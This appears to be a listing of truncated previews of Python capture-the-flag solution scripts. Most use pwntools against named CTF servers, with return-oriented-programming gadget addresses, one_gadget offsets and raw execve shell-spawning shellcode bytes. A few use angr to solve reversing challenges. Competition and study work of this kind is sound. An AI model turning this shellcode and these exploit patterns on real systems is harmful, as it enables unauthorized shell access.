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#!/usr/bin/env python | |
import struct | |
def main(): | |
l = [] | |
with open('./flag_oct', 'r') as f: | |
for i in f: | |
l = i.split(' ') |
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#!/usr/bin/env python | |
from pwn import * | |
def main(): | |
# conn = process("./oneline") | |
conn = remote("153.120.129.186", 10000) | |
libc = ELF("./libc-2.27.so") | |
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") | |
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] |
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#!/usr/bin/env python | |
from pwn import * | |
def main(): | |
conn = remote("153.120.129.186", 20000) | |
shellcode = "\x48\xbb\x7f\x32\x39\x3e\x7f\x7f\x23\x38\x48\xb8\x50\x50\x50\x50\x50\x50\x50\x50\x48\x31\xc3\x31\xf6\x56\x53\x54\x5f\x48\x31\xc0\xb0\x3b\x31\xd2\x0f\x05" | |
payload = shellcode | |
conn.send(payload) |
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#!/usr/bin/env python | |
import angr | |
from claripy import BVS | |
proj = angr.Project("./linear_operation") | |
length = 63 | |
flag = BVS("flag", length * 8) | |
addr_is_correct = 0x400607 |
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#!/usr/bin/env python | |
import angr | |
proj = angr.Project("./scramble", load_options={"auto_load_libs": False}) | |
addr_main = 0x400680 | |
initial_state = proj.factory.blank_state(addr=addr_main) | |
path_group = proj.factory.path_group(initial_state) | |
e = path_group.explore(find=(0x400737,), avoid=(0x4006fb,)) |
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#!/usr/bin/env python | |
from pwn import * | |
def main(): | |
# conn = process("./babyrop2") | |
conn = remote("problem.harekaze.com", 20005) | |
elf = ELF('./babyrop2') | |
libc = ELF('./libc.so.6') | |
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") |
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#!/usr/bin/env python | |
from pwn import * | |
def main(): | |
# conn = process("./babyrop") | |
conn = remote("problem.harekaze.com", 20001) | |
pop_rdi_ret = 0x400683 #: pop rdi ; ret | |
system = 0x400490 |
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#!/usr/bin/env python | |
from pwn import * | |
def main(): | |
conn = remote("speedrun-003.quals2019.oooverflow.io", 31337) | |
# conn = remote("localhost", 3000) | |
payload = "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x31\xf6\x56\x53\x54\x5f\xb0\x5a\xb0\x3b\x31\xd2\x31\xd2\x31\xd2\x31\xd2\x0f\x05" |
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#!/usr/bin/env python | |
from pwn import * | |
def main(): | |
# conn = process("./speedrun-002") | |
# conn = remote("localhost", 3000) | |
conn = remote("speedrun-002.quals2019.oooverflow.io", 31337) | |
elf = ELF("./speedrun-002") | |
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") |
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#!/usr/bin/env python | |
from pwn import * | |
import time | |
def main(): | |
# conn = process("./speedrun-001") | |
conn = remote("speedrun-001.quals2019.oooverflow.io", 31337) | |
# conn = remote("localhost", 3000) | |
bss_addr = 0x6bbae0 |
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